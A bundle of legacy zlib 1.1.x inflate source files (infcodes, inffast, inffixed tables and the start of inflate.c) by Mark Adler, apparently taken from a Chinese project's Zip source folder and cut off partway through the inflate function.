/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

struct inflate_blocks_state;
typedef struct inflate_blocks_state FAR inflate_blocks_statef;

extern inflate_blocks_statef * inflate_blocks_new OF((
    z_streamp z,
    check_func c,               /* check function */
    uInt w));                   /* window size */

extern int inflate_blocks OF((
    inflate_blocks_statef *,
    z_streamp ,
    int));                      /* initial return code */

extern void inflate_blocks_reset OF((
    inflate_blocks_statef *,
    z_streamp ,
    uLongf *));                  /* check value on output */

extern int inflate_blocks_free OF((
    inflate_blocks_statef *,
    z_streamp));

extern void inflate_set_dictionary OF((
    inflate_blocks_statef *s,
    const Bytef *d,  /* dictionary */
    uInt  n));       /* dictionary length */

extern int inflate_blocks_sync_point OF((
    inflate_blocks_statef *s));








源码/Zip/infcodes.c

/* infcodes.c -- process literals and length/distance pairs
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

#include "zutil.h"
#include "inftrees.h"
#include "infblock.h"
#include "infcodes.h"
#include "infutil.h"
#include "inffast.h"

/* simplify the use of the inflate_huft type with some defines */
#define exop word.what.Exop
#define bits word.what.Bits

typedef enum {        /* waiting for "i:"=input, "o:"=output, "x:"=nothing */
      START,    /* x: set up for LEN */
      LEN,      /* i: get length/literal/eob next */
      LENEXT,   /* i: getting length extra (have base) */
      DIST,     /* i: get distance next */
      DISTEXT,  /* i: getting distance extra */
      COPY,     /* o: copying bytes in window, waiting for space */
      LIT,      /* o: got literal, waiting for output space */
      WASH,     /* o: got eob, possibly still output waiting */
      END,      /* x: got eob and all data flushed */
      BADCODE}  /* x: got error */
inflate_codes_mode;

/* inflate codes private state */
struct inflate_codes_state {

  /* mode */
  inflate_codes_mode mode;      /* current inflate_codes mode */

  /* mode dependent information */
  uInt len;
  union {
    struct {
      inflate_huft *tree;       /* pointer into tree */
      uInt need;                /* bits needed */
    } code;             /* if LEN or DIST, where in tree */
    uInt lit;           /* if LIT, literal */
    struct {
      uInt get;                 /* bits to get for extra */
      uInt dist;                /* distance back to copy from */
    } copy;             /* if EXT or COPY, where and how much */
  } sub;                /* submode */

  /* mode independent information */
  Byte lbits;           /* ltree bits decoded per branch */
  Byte dbits;           /* dtree bits decoder per branch */
  inflate_huft *ltree;          /* literal/length/eob tree */
  inflate_huft *dtree;          /* distance tree */

};


inflate_codes_statef *inflate_codes_new(bl, bd, tl, td, z)
uInt bl, bd;
inflate_huft *tl;
inflate_huft *td; /* need separate declaration for Borland C++ */
z_streamp z;
{
  inflate_codes_statef *c;

  if ((c = (inflate_codes_statef *)
       ZALLOC(z,1,sizeof(struct inflate_codes_state))) != Z_NULL)
  {
    c->mode = START;
    c->lbits = (Byte)bl;
    c->dbits = (Byte)bd;
    c->ltree = tl;
    c->dtree = td;
    Tracev((stderr, "inflate:       codes new\n"));
  }
  return c;
}


int inflate_codes(s, z, r)
inflate_blocks_statef *s;
z_streamp z;
int r;
{
  uInt j;               /* temporary storage */
  inflate_huft *t;      /* temporary pointer */
  uInt e;               /* extra bits or operation */
  uLong b;              /* bit buffer */
  uInt k;               /* bits in bit buffer */
  Bytef *p;             /* input data pointer */
  uInt n;               /* bytes available there */
  Bytef *q;             /* output window write pointer */
  uInt m;               /* bytes to end of window or read pointer */
  Bytef *f;             /* pointer to copy strings from */
  inflate_codes_statef *c = s->sub.decode.codes;  /* codes state */

  /* copy input/output information to locals (UPDATE macro restores) */
  LOAD

  /* process input and output based on current state */
  while (1) switch (c->mode)
  {             /* waiting for "i:"=input, "o:"=output, "x:"=nothing */
    case START:         /* x: set up for LEN */
#ifndef SLOW
      if (m >= 258 && n >= 10)
      {
        UPDATE
        r = inflate_fast(c->lbits, c->dbits, c->ltree, c->dtree, s, z);
        LOAD
        if (r != Z_OK)
        {
          c->mode = r == Z_STREAM_END ? WASH : BADCODE;
          break;
        }
      }
#endif /* !SLOW */
      c->sub.code.need = c->lbits;
      c->sub.code.tree = c->ltree;
      c->mode = LEN;
    case LEN:           /* i: get length/literal/eob next */
      j = c->sub.code.need;
      NEEDBITS(j)
      t = c->sub.code.tree + ((uInt)b & inflate_mask[j]);
      DUMPBITS(t->bits)
      e = (uInt)(t->exop);
      if (e == 0)               /* literal */
      {
        c->sub.lit = t->base;
        Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ?
                 "inflate:         literal '%c'\n" :
                 "inflate:         literal 0x%02x\n", t->base));
        c->mode = LIT;
        break;
      }
      if (e & 16)               /* length */
      {
        c->sub.copy.get = e & 15;
        c->len = t->base;
        c->mode = LENEXT;
        break;
      }
      if ((e & 64) == 0)        /* next table */
      {
        c->sub.code.need = e;
        c->sub.code.tree = t + t->base;
        break;
      }
      if (e & 32)               /* end of block */
      {
        Tracevv((stderr, "inflate:         end of block\n"));
        c->mode = WASH;
        break;
      }
      c->mode = BADCODE;        /* invalid code */
      z->msg = (char*)"invalid literal/length code";
      r = Z_DATA_ERROR;
      LEAVE
    case LENEXT:        /* i: getting length extra (have base) */
      j = c->sub.copy.get;
      NEEDBITS(j)
      c->len += (uInt)b & inflate_mask[j];
      DUMPBITS(j)
      c->sub.code.need = c->dbits;
      c->sub.code.tree = c->dtree;
      Tracevv((stderr, "inflate:         length %u\n", c->len));
      c->mode = DIST;
    case DIST:          /* i: get distance next */
      j = c->sub.code.need;
      NEEDBITS(j)
      t = c->sub.code.tree + ((uInt)b & inflate_mask[j]);
      DUMPBITS(t->bits)
      e = (uInt)(t->exop);
      if (e & 16)               /* distance */
      {
        c->sub.copy.get = e & 15;
        c->sub.copy.dist = t->base;
        c->mode = DISTEXT;
        break;
      }
      if ((e & 64) == 0)        /* next table */
      {
        c->sub.code.need = e;
        c->sub.code.tree = t + t->base;
        break;
      }
      c->mode = BADCODE;        /* invalid code */
      z->msg = (char*)"invalid distance code";
      r = Z_DATA_ERROR;
      LEAVE
    case DISTEXT:       /* i: getting distance extra */
      j = c->sub.copy.get;
      NEEDBITS(j)
      c->sub.copy.dist += (uInt)b & inflate_mask[j];
      DUMPBITS(j)
      Tracevv((stderr, "inflate:         distance %u\n", c->sub.copy.dist));
      c->mode = COPY;
    case COPY:          /* o: copying bytes in window, waiting for space */
      f = q - c->sub.copy.dist;
      while (f < s->window)             /* modulo window size-"while" instead */
        f += s->end - s->window;        /* of "if" handles invalid distances */
      while (c->len)
      {
        NEEDOUT
        OUTBYTE(*f++)
        if (f == s->end)
          f = s->window;
        c->len--;
      }
      c->mode = START;
      break;
    case LIT:           /* o: got literal, waiting for output space */
      NEEDOUT
      OUTBYTE(c->sub.lit)
      c->mode = START;
      break;
    case WASH:          /* o: got eob, possibly more output */
      if (k > 7)        /* return unused byte, if any */
      {
        Assert(k < 16, "inflate_codes grabbed too many bytes")
        k -= 8;
        n++;
        p--;            /* can always return one */
      }
      FLUSH
      if (s->read != s->write)
        LEAVE
      c->mode = END;
    case END:
      r = Z_STREAM_END;
      LEAVE
    case BADCODE:       /* x: got error */
      r = Z_DATA_ERROR;
      LEAVE
    default:
      r = Z_STREAM_ERROR;
      LEAVE
  }
#ifdef NEED_DUMMY_RETURN
  return Z_STREAM_ERROR;  /* Some dumb compilers complain without this */
#endif
}


void inflate_codes_free(c, z)
inflate_codes_statef *c;
z_streamp z;
{
  ZFREE(z, c);
  Tracev((stderr, "inflate:       codes free\n"));
}








源码/Zip/infcodes.h

/* infcodes.h -- header to use infcodes.c
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

struct inflate_codes_state;
typedef struct inflate_codes_state FAR inflate_codes_statef;

extern inflate_codes_statef *inflate_codes_new OF((
    uInt, uInt,
    inflate_huft *, inflate_huft *,
    z_streamp ));

extern int inflate_codes OF((
    inflate_blocks_statef *,
    z_streamp ,
    int));

extern void inflate_codes_free OF((
    inflate_codes_statef *,
    z_streamp ));









源码/Zip/inffast.c

/* inffast.c -- process literals and length/distance pairs fast
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

#include "zutil.h"
#include "inftrees.h"
#include "infblock.h"
#include "infcodes.h"
#include "infutil.h"
#include "inffast.h"

struct inflate_codes_state {int dummy;}; /* for buggy compilers */

/* simplify the use of the inflate_huft type with some defines */
#define exop word.what.Exop
#define bits word.what.Bits

/* macros for bit input with no checking and for returning unused bytes */
#define GRABBITS(j) {while(k<(j)){b|=((uLong)NEXTBYTE)<<k;k+=8;}}
#define UNGRAB {c=z->avail_in-n;c=(k>>3)<c?k>>3:c;n+=c;p-=c;k-=c<<3;}

/* Called with number of bytes left to write in window at least 258
   (the maximum string length) and number of input bytes available
   at least ten.  The ten bytes are six bytes for the longest length/
   distance pair plus four bytes for overloading the bit buffer. */

int inflate_fast(bl, bd, tl, td, s, z)
uInt bl, bd;
inflate_huft *tl;
inflate_huft *td; /* need separate declaration for Borland C++ */
inflate_blocks_statef *s;
z_streamp z;
{
  inflate_huft *t;      /* temporary pointer */
  uInt e;               /* extra bits or operation */
  uLong b;              /* bit buffer */
  uInt k;               /* bits in bit buffer */
  Bytef *p;             /* input data pointer */
  uInt n;               /* bytes available there */
  Bytef *q;             /* output window write pointer */
  uInt m;               /* bytes to end of window or read pointer */
  uInt ml;              /* mask for literal/length tree */
  uInt md;              /* mask for distance tree */
  uInt c;               /* bytes to copy */
  uInt d;               /* distance back to copy from */
  Bytef *r;             /* copy source pointer */

  /* load input, output, bit values */
  LOAD

  /* initialize masks */
  ml = inflate_mask[bl];
  md = inflate_mask[bd];

  /* do until not enough input or output space for fast loop */
  do {                          /* assume called with m >= 258 && n >= 10 */
    /* get literal/length code */
    GRABBITS(20)                /* max bits for literal/length code */
    if ((e = (t = tl + ((uInt)b & ml))->exop) == 0)
    {
      DUMPBITS(t->bits)
      Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ?
                "inflate:         * literal '%c'\n" :
                "inflate:         * literal 0x%02x\n", t->base));
      *q++ = (Byte)t->base;
      m--;
      continue;
    }
    do {
      DUMPBITS(t->bits)
      if (e & 16)
      {
        /* get extra bits for length */
        e &= 15;
        c = t->base + ((uInt)b & inflate_mask[e]);
        DUMPBITS(e)
        Tracevv((stderr, "inflate:         * length %u\n", c));

        /* decode distance base of block to copy */
        GRABBITS(15);           /* max bits for distance code */
        e = (t = td + ((uInt)b & md))->exop;
        do {
          DUMPBITS(t->bits)
          if (e & 16)
          {
            /* get extra bits to add to distance base */
            e &= 15;
            GRABBITS(e)         /* get extra bits (up to 13) */
            d = t->base + ((uInt)b & inflate_mask[e]);
            DUMPBITS(e)
            Tracevv((stderr, "inflate:         * distance %u\n", d));

            /* do the copy */
            m -= c;
            r = q - d;
            if (r < s->window)                  /* wrap if needed */
            {
              do {
                r += s->end - s->window;        /* force pointer in window */
              } while (r < s->window);          /* covers invalid distances */
              e = s->end - r;
              if (c > e)
              {
                c -= e;                         /* wrapped copy */
                do {
                    *q++ = *r++;
                } while (--e);
                r = s->window;
                do {
                    *q++ = *r++;
                } while (--c);
              }
              else                              /* normal copy */
              {
                *q++ = *r++;  c--;
                *q++ = *r++;  c--;
                do {
                    *q++ = *r++;
                } while (--c);
              }
            }
            else                                /* normal copy */
            {
              *q++ = *r++;  c--;
              *q++ = *r++;  c--;
              do {
                *q++ = *r++;
              } while (--c);
            }
            break;
          }
          else if ((e & 64) == 0)
          {
            t += t->base;
            e = (t += ((uInt)b & inflate_mask[e]))->exop;
          }
          else
          {
            z->msg = (char*)"invalid distance code";
            UNGRAB
            UPDATE
            return Z_DATA_ERROR;
          }
        } while (1);
        break;
      }
      if ((e & 64) == 0)
      {
        t += t->base;
        if ((e = (t += ((uInt)b & inflate_mask[e]))->exop) == 0)
        {
          DUMPBITS(t->bits)
          Tracevv((stderr, t->base >= 0x20 && t->base < 0x7f ?
                    "inflate:         * literal '%c'\n" :
                    "inflate:         * literal 0x%02x\n", t->base));
          *q++ = (Byte)t->base;
          m--;
          break;
        }
      }
      else if (e & 32)
      {
        Tracevv((stderr, "inflate:         * end of block\n"));
        UNGRAB
        UPDATE
        return Z_STREAM_END;
      }
      else
      {
        z->msg = (char*)"invalid literal/length code";
        UNGRAB
        UPDATE
        return Z_DATA_ERROR;
      }
    } while (1);
  } while (m >= 258 && n >= 10);

  /* not enough input or output--restore pointers and return */
  UNGRAB
  UPDATE
  return Z_OK;
}








源码/Zip/inffast.h

/* inffast.h -- header to use inffast.c
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

extern int inflate_fast OF((
    uInt,
    uInt,
    inflate_huft *,
    inflate_huft *,
    inflate_blocks_statef *,
    z_streamp ));








源码/Zip/inffixed.h

/* inffixed.h -- table for decoding fixed codes
 * Generated automatically by the maketree.c program
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

local uInt fixed_bl = 9;
local uInt fixed_bd = 5;
local inflate_huft fixed_tl[] = {
    {{{96,7}},256}, {{{0,8}},80}, {{{0,8}},16}, {{{84,8}},115},
    {{{82,7}},31}, {{{0,8}},112}, {{{0,8}},48}, {{{0,9}},192},
    {{{80,7}},10}, {{{0,8}},96}, {{{0,8}},32}, {{{0,9}},160},
    {{{0,8}},0}, {{{0,8}},128}, {{{0,8}},64}, {{{0,9}},224},
    {{{80,7}},6}, {{{0,8}},88}, {{{0,8}},24}, {{{0,9}},144},
    {{{83,7}},59}, {{{0,8}},120}, {{{0,8}},56}, {{{0,9}},208},
    {{{81,7}},17}, {{{0,8}},104}, {{{0,8}},40}, {{{0,9}},176},
    {{{0,8}},8}, {{{0,8}},136}, {{{0,8}},72}, {{{0,9}},240},
    {{{80,7}},4}, {{{0,8}},84}, {{{0,8}},20}, {{{85,8}},227},
    {{{83,7}},43}, {{{0,8}},116}, {{{0,8}},52}, {{{0,9}},200},
    {{{81,7}},13}, {{{0,8}},100}, {{{0,8}},36}, {{{0,9}},168},
    {{{0,8}},4}, {{{0,8}},132}, {{{0,8}},68}, {{{0,9}},232},
    {{{80,7}},8}, {{{0,8}},92}, {{{0,8}},28}, {{{0,9}},152},
    {{{84,7}},83}, {{{0,8}},124}, {{{0,8}},60}, {{{0,9}},216},
    {{{82,7}},23}, {{{0,8}},108}, {{{0,8}},44}, {{{0,9}},184},
    {{{0,8}},12}, {{{0,8}},140}, {{{0,8}},76}, {{{0,9}},248},
    {{{80,7}},3}, {{{0,8}},82}, {{{0,8}},18}, {{{85,8}},163},
    {{{83,7}},35}, {{{0,8}},114}, {{{0,8}},50}, {{{0,9}},196},
    {{{81,7}},11}, {{{0,8}},98}, {{{0,8}},34}, {{{0,9}},164},
    {{{0,8}},2}, {{{0,8}},130}, {{{0,8}},66}, {{{0,9}},228},
    {{{80,7}},7}, {{{0,8}},90}, {{{0,8}},26}, {{{0,9}},148},
    {{{84,7}},67}, {{{0,8}},122}, {{{0,8}},58}, {{{0,9}},212},
    {{{82,7}},19}, {{{0,8}},106}, {{{0,8}},42}, {{{0,9}},180},
    {{{0,8}},10}, {{{0,8}},138}, {{{0,8}},74}, {{{0,9}},244},
    {{{80,7}},5}, {{{0,8}},86}, {{{0,8}},22}, {{{192,8}},0},
    {{{83,7}},51}, {{{0,8}},118}, {{{0,8}},54}, {{{0,9}},204},
    {{{81,7}},15}, {{{0,8}},102}, {{{0,8}},38}, {{{0,9}},172},
    {{{0,8}},6}, {{{0,8}},134}, {{{0,8}},70}, {{{0,9}},236},
    {{{80,7}},9}, {{{0,8}},94}, {{{0,8}},30}, {{{0,9}},156},
    {{{84,7}},99}, {{{0,8}},126}, {{{0,8}},62}, {{{0,9}},220},
    {{{82,7}},27}, {{{0,8}},110}, {{{0,8}},46}, {{{0,9}},188},
    {{{0,8}},14}, {{{0,8}},142}, {{{0,8}},78}, {{{0,9}},252},
    {{{96,7}},256}, {{{0,8}},81}, {{{0,8}},17}, {{{85,8}},131},
    {{{82,7}},31}, {{{0,8}},113}, {{{0,8}},49}, {{{0,9}},194},
    {{{80,7}},10}, {{{0,8}},97}, {{{0,8}},33}, {{{0,9}},162},
    {{{0,8}},1}, {{{0,8}},129}, {{{0,8}},65}, {{{0,9}},226},
    {{{80,7}},6}, {{{0,8}},89}, {{{0,8}},25}, {{{0,9}},146},
    {{{83,7}},59}, {{{0,8}},121}, {{{0,8}},57}, {{{0,9}},210},
    {{{81,7}},17}, {{{0,8}},105}, {{{0,8}},41}, {{{0,9}},178},
    {{{0,8}},9}, {{{0,8}},137}, {{{0,8}},73}, {{{0,9}},242},
    {{{80,7}},4}, {{{0,8}},85}, {{{0,8}},21}, {{{80,8}},258},
    {{{83,7}},43}, {{{0,8}},117}, {{{0,8}},53}, {{{0,9}},202},
    {{{81,7}},13}, {{{0,8}},101}, {{{0,8}},37}, {{{0,9}},170},
    {{{0,8}},5}, {{{0,8}},133}, {{{0,8}},69}, {{{0,9}},234},
    {{{80,7}},8}, {{{0,8}},93}, {{{0,8}},29}, {{{0,9}},154},
    {{{84,7}},83}, {{{0,8}},125}, {{{0,8}},61}, {{{0,9}},218},
    {{{82,7}},23}, {{{0,8}},109}, {{{0,8}},45}, {{{0,9}},186},
    {{{0,8}},13}, {{{0,8}},141}, {{{0,8}},77}, {{{0,9}},250},
    {{{80,7}},3}, {{{0,8}},83}, {{{0,8}},19}, {{{85,8}},195},
    {{{83,7}},35}, {{{0,8}},115}, {{{0,8}},51}, {{{0,9}},198},
    {{{81,7}},11}, {{{0,8}},99}, {{{0,8}},35}, {{{0,9}},166},
    {{{0,8}},3}, {{{0,8}},131}, {{{0,8}},67}, {{{0,9}},230},
    {{{80,7}},7}, {{{0,8}},91}, {{{0,8}},27}, {{{0,9}},150},
    {{{84,7}},67}, {{{0,8}},123}, {{{0,8}},59}, {{{0,9}},214},
    {{{82,7}},19}, {{{0,8}},107}, {{{0,8}},43}, {{{0,9}},182},
    {{{0,8}},11}, {{{0,8}},139}, {{{0,8}},75}, {{{0,9}},246},
    {{{80,7}},5}, {{{0,8}},87}, {{{0,8}},23}, {{{192,8}},0},
    {{{83,7}},51}, {{{0,8}},119}, {{{0,8}},55}, {{{0,9}},206},
    {{{81,7}},15}, {{{0,8}},103}, {{{0,8}},39}, {{{0,9}},174},
    {{{0,8}},7}, {{{0,8}},135}, {{{0,8}},71}, {{{0,9}},238},
    {{{80,7}},9}, {{{0,8}},95}, {{{0,8}},31}, {{{0,9}},158},
    {{{84,7}},99}, {{{0,8}},127}, {{{0,8}},63}, {{{0,9}},222},
    {{{82,7}},27}, {{{0,8}},111}, {{{0,8}},47}, {{{0,9}},190},
    {{{0,8}},15}, {{{0,8}},143}, {{{0,8}},79}, {{{0,9}},254},
    {{{96,7}},256}, {{{0,8}},80}, {{{0,8}},16}, {{{84,8}},115},
    {{{82,7}},31}, {{{0,8}},112}, {{{0,8}},48}, {{{0,9}},193},
    {{{80,7}},10}, {{{0,8}},96}, {{{0,8}},32}, {{{0,9}},161},
    {{{0,8}},0}, {{{0,8}},128}, {{{0,8}},64}, {{{0,9}},225},
    {{{80,7}},6}, {{{0,8}},88}, {{{0,8}},24}, {{{0,9}},145},
    {{{83,7}},59}, {{{0,8}},120}, {{{0,8}},56}, {{{0,9}},209},
    {{{81,7}},17}, {{{0,8}},104}, {{{0,8}},40}, {{{0,9}},177},
    {{{0,8}},8}, {{{0,8}},136}, {{{0,8}},72}, {{{0,9}},241},
    {{{80,7}},4}, {{{0,8}},84}, {{{0,8}},20}, {{{85,8}},227},
    {{{83,7}},43}, {{{0,8}},116}, {{{0,8}},52}, {{{0,9}},201},
    {{{81,7}},13}, {{{0,8}},100}, {{{0,8}},36}, {{{0,9}},169},
    {{{0,8}},4}, {{{0,8}},132}, {{{0,8}},68}, {{{0,9}},233},
    {{{80,7}},8}, {{{0,8}},92}, {{{0,8}},28}, {{{0,9}},153},
    {{{84,7}},83}, {{{0,8}},124}, {{{0,8}},60}, {{{0,9}},217},
    {{{82,7}},23}, {{{0,8}},108}, {{{0,8}},44}, {{{0,9}},185},
    {{{0,8}},12}, {{{0,8}},140}, {{{0,8}},76}, {{{0,9}},249},
    {{{80,7}},3}, {{{0,8}},82}, {{{0,8}},18}, {{{85,8}},163},
    {{{83,7}},35}, {{{0,8}},114}, {{{0,8}},50}, {{{0,9}},197},
    {{{81,7}},11}, {{{0,8}},98}, {{{0,8}},34}, {{{0,9}},165},
    {{{0,8}},2}, {{{0,8}},130}, {{{0,8}},66}, {{{0,9}},229},
    {{{80,7}},7}, {{{0,8}},90}, {{{0,8}},26}, {{{0,9}},149},
    {{{84,7}},67}, {{{0,8}},122}, {{{0,8}},58}, {{{0,9}},213},
    {{{82,7}},19}, {{{0,8}},106}, {{{0,8}},42}, {{{0,9}},181},
    {{{0,8}},10}, {{{0,8}},138}, {{{0,8}},74}, {{{0,9}},245},
    {{{80,7}},5}, {{{0,8}},86}, {{{0,8}},22}, {{{192,8}},0},
    {{{83,7}},51}, {{{0,8}},118}, {{{0,8}},54}, {{{0,9}},205},
    {{{81,7}},15}, {{{0,8}},102}, {{{0,8}},38}, {{{0,9}},173},
    {{{0,8}},6}, {{{0,8}},134}, {{{0,8}},70}, {{{0,9}},237},
    {{{80,7}},9}, {{{0,8}},94}, {{{0,8}},30}, {{{0,9}},157},
    {{{84,7}},99}, {{{0,8}},126}, {{{0,8}},62}, {{{0,9}},221},
    {{{82,7}},27}, {{{0,8}},110}, {{{0,8}},46}, {{{0,9}},189},
    {{{0,8}},14}, {{{0,8}},142}, {{{0,8}},78}, {{{0,9}},253},
    {{{96,7}},256}, {{{0,8}},81}, {{{0,8}},17}, {{{85,8}},131},
    {{{82,7}},31}, {{{0,8}},113}, {{{0,8}},49}, {{{0,9}},195},
    {{{80,7}},10}, {{{0,8}},97}, {{{0,8}},33}, {{{0,9}},163},
    {{{0,8}},1}, {{{0,8}},129}, {{{0,8}},65}, {{{0,9}},227},
    {{{80,7}},6}, {{{0,8}},89}, {{{0,8}},25}, {{{0,9}},147},
    {{{83,7}},59}, {{{0,8}},121}, {{{0,8}},57}, {{{0,9}},211},
    {{{81,7}},17}, {{{0,8}},105}, {{{0,8}},41}, {{{0,9}},179},
    {{{0,8}},9}, {{{0,8}},137}, {{{0,8}},73}, {{{0,9}},243},
    {{{80,7}},4}, {{{0,8}},85}, {{{0,8}},21}, {{{80,8}},258},
    {{{83,7}},43}, {{{0,8}},117}, {{{0,8}},53}, {{{0,9}},203},
    {{{81,7}},13}, {{{0,8}},101}, {{{0,8}},37}, {{{0,9}},171},
    {{{0,8}},5}, {{{0,8}},133}, {{{0,8}},69}, {{{0,9}},235},
    {{{80,7}},8}, {{{0,8}},93}, {{{0,8}},29}, {{{0,9}},155},
    {{{84,7}},83}, {{{0,8}},125}, {{{0,8}},61}, {{{0,9}},219},
    {{{82,7}},23}, {{{0,8}},109}, {{{0,8}},45}, {{{0,9}},187},
    {{{0,8}},13}, {{{0,8}},141}, {{{0,8}},77}, {{{0,9}},251},
    {{{80,7}},3}, {{{0,8}},83}, {{{0,8}},19}, {{{85,8}},195},
    {{{83,7}},35}, {{{0,8}},115}, {{{0,8}},51}, {{{0,9}},199},
    {{{81,7}},11}, {{{0,8}},99}, {{{0,8}},35}, {{{0,9}},167},
    {{{0,8}},3}, {{{0,8}},131}, {{{0,8}},67}, {{{0,9}},231},
    {{{80,7}},7}, {{{0,8}},91}, {{{0,8}},27}, {{{0,9}},151},
    {{{84,7}},67}, {{{0,8}},123}, {{{0,8}},59}, {{{0,9}},215},
    {{{82,7}},19}, {{{0,8}},107}, {{{0,8}},43}, {{{0,9}},183},
    {{{0,8}},11}, {{{0,8}},139}, {{{0,8}},75}, {{{0,9}},247},
    {{{80,7}},5}, {{{0,8}},87}, {{{0,8}},23}, {{{192,8}},0},
    {{{83,7}},51}, {{{0,8}},119}, {{{0,8}},55}, {{{0,9}},207},
    {{{81,7}},15}, {{{0,8}},103}, {{{0,8}},39}, {{{0,9}},175},
    {{{0,8}},7}, {{{0,8}},135}, {{{0,8}},71}, {{{0,9}},239},
    {{{80,7}},9}, {{{0,8}},95}, {{{0,8}},31}, {{{0,9}},159},
    {{{84,7}},99}, {{{0,8}},127}, {{{0,8}},63}, {{{0,9}},223},
    {{{82,7}},27}, {{{0,8}},111}, {{{0,8}},47}, {{{0,9}},191},
    {{{0,8}},15}, {{{0,8}},143}, {{{0,8}},79}, {{{0,9}},255}
  };
local inflate_huft fixed_td[] = {
    {{{80,5}},1}, {{{87,5}},257}, {{{83,5}},17}, {{{91,5}},4097},
    {{{81,5}},5}, {{{89,5}},1025}, {{{85,5}},65}, {{{93,5}},16385},
    {{{80,5}},3}, {{{88,5}},513}, {{{84,5}},33}, {{{92,5}},8193},
    {{{82,5}},9}, {{{90,5}},2049}, {{{86,5}},129}, {{{192,5}},24577},
    {{{80,5}},2}, {{{87,5}},385}, {{{83,5}},25}, {{{91,5}},6145},
    {{{81,5}},7}, {{{89,5}},1537}, {{{85,5}},97}, {{{93,5}},24577},
    {{{80,5}},4}, {{{88,5}},769}, {{{84,5}},49}, {{{92,5}},12289},
    {{{82,5}},13}, {{{90,5}},3073}, {{{86,5}},193}, {{{192,5}},24577}
  };








源码/Zip/inflate.c

/* inflate.c -- zlib interface to inflate modules
 * Copyright (C) 1995-2002 Mark Adler
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

#include "zutil.h"
#include "infblock.h"

struct inflate_blocks_state {int dummy;}; /* for buggy compilers */

typedef enum {
      METHOD,   /* waiting for method byte */
      FLAG,     /* waiting for flag byte */
      DICT4,    /* four dictionary check bytes to go */
      DICT3,    /* three dictionary check bytes to go */
      DICT2,    /* two dictionary check bytes to go */
      DICT1,    /* one dictionary check byte to go */
      DICT0,    /* waiting for inflateSetDictionary */
      BLOCKS,   /* decompressing blocks */
      CHECK4,   /* four check bytes to go */
      CHECK3,   /* three check bytes to go */
      CHECK2,   /* two check bytes to go */
      CHECK1,   /* one check byte to go */
      DONE,     /* finished check, done */
      BAD}      /* got an error--stay here */
inflate_mode;

/* inflate private state */
struct internal_state {

  /* mode */
  inflate_mode  mode;   /* current inflate mode */

  /* mode dependent information */
  union {
    uInt method;        /* if FLAGS, method byte */
    struct {
      uLong was;                /* computed check value */
      uLong need;               /* stream check value */
    } check;            /* if CHECK, check values to compare */
    uInt marker;        /* if BAD, inflateSync's marker bytes count */
  } sub;        /* submode */

  /* mode independent information */
  int  nowrap;          /* flag for no wrapper */
  uInt wbits;           /* log2(window size)  (8..15, defaults to 15) */
  inflate_blocks_statef 
    *blocks;            /* current inflate_blocks state */

};


int ZEXPORT inflateReset(z)
z_streamp z;
{
  if (z == Z_NULL || z->state == Z_NULL)
    return Z_STREAM_ERROR;
  z->total_in = z->total_out = 0;
  z->msg = Z_NULL;
  z->state->mode = z->state->nowrap ? BLOCKS : METHOD;
  inflate_blocks_reset(z->state->blocks, z, Z_NULL);
  Tracev((stderr, "inflate: reset\n"));
  return Z_OK;
}


int ZEXPORT inflateEnd(z)
z_streamp z;
{
  if (z == Z_NULL || z->state == Z_NULL || z->zfree == Z_NULL)
    return Z_STREAM_ERROR;
  if (z->state->blocks != Z_NULL)
    inflate_blocks_free(z->state->blocks, z);
  ZFREE(z, z->state);
  z->state = Z_NULL;
  Tracev((stderr, "inflate: end\n"));
  return Z_OK;
}


int ZEXPORT inflateInit2_(z, w, version, stream_size)
z_streamp z;
int w;
const char *version;
int stream_size;
{
  if (version == Z_NULL || version[0] != ZLIB_VERSION[0] ||
      stream_size != sizeof(z_stream))
      return Z_VERSION_ERROR;

  /* initialize state */
  if (z == Z_NULL)
    return Z_STREAM_ERROR;
  z->msg = Z_NULL;
  if (z->zalloc == Z_NULL)
  {
    z->zalloc = zcalloc;
    z->opaque = (voidpf)0;
  }
  if (z->zfree == Z_NULL) z->zfree = zcfree;
  if ((z->state = (struct internal_state FAR *)
       ZALLOC(z,1,sizeof(struct internal_state))) == Z_NULL)
    return Z_MEM_ERROR;
  z->state->blocks = Z_NULL;

  /* handle undocumented nowrap option (no zlib header or check) */
  z->state->nowrap = 0;
  if (w < 0)
  {
    w = - w;
    z->state->nowrap = 1;
  }

  /* set window size */
  if (w < 8 || w > 15)
  {
    inflateEnd(z);
    return Z_STREAM_ERROR;
  }
  z->state->wbits = (uInt)w;

  /* create inflate_blocks state */
  if ((z->state->blocks =
      inflate_blocks_new(z, z->state->nowrap ? Z_NULL : adler32, (uInt)1 << w))
      == Z_NULL)
  {
    inflateEnd(z);
    return Z_MEM_ERROR;
  }
  Tracev((stderr, "inflate: allocated\n"));

  /* reset state */
  inflateReset(z);
  return Z_OK;
}


int ZEXPORT inflateInit_(z, version, stream_size)
z_streamp z;
const char *version;
int stream_size;
{
  return inflateInit2_(z, DEF_WBITS, version, stream_size);
}


#define NEEDBYTE {if(z->avail_in==0)return r;r=f;}
#define NEXTBYTE (z->avail_in--,z->total_in++,*z->next_in++)

int ZEXPORT inflate(z, f)
z_streamp z;
int f;
{
  int r;
  uInt b;

  if (z == Z_NULL || z->state == Z_NULL || z->next_in == Z_NULL)
    return Z_STREAM_ERROR;
  f = f == Z_FINISH ? Z_BUF_ERROR : Z_OK;
  r = Z_BUF_ERROR;
  while (1) switch (z->state->mode)
  {
    case METHOD:
      NEEDBYTE
      if (((z->state->sub.method = NEXTBYTE) & 0xf) != Z_DEFLATED)
      {
        z->state->mode = BAD;
        z->msg = (char*)"unknown compression method";
        z->state->sub.marker = 5;       /* can't try inflateSync */
        break;
      }
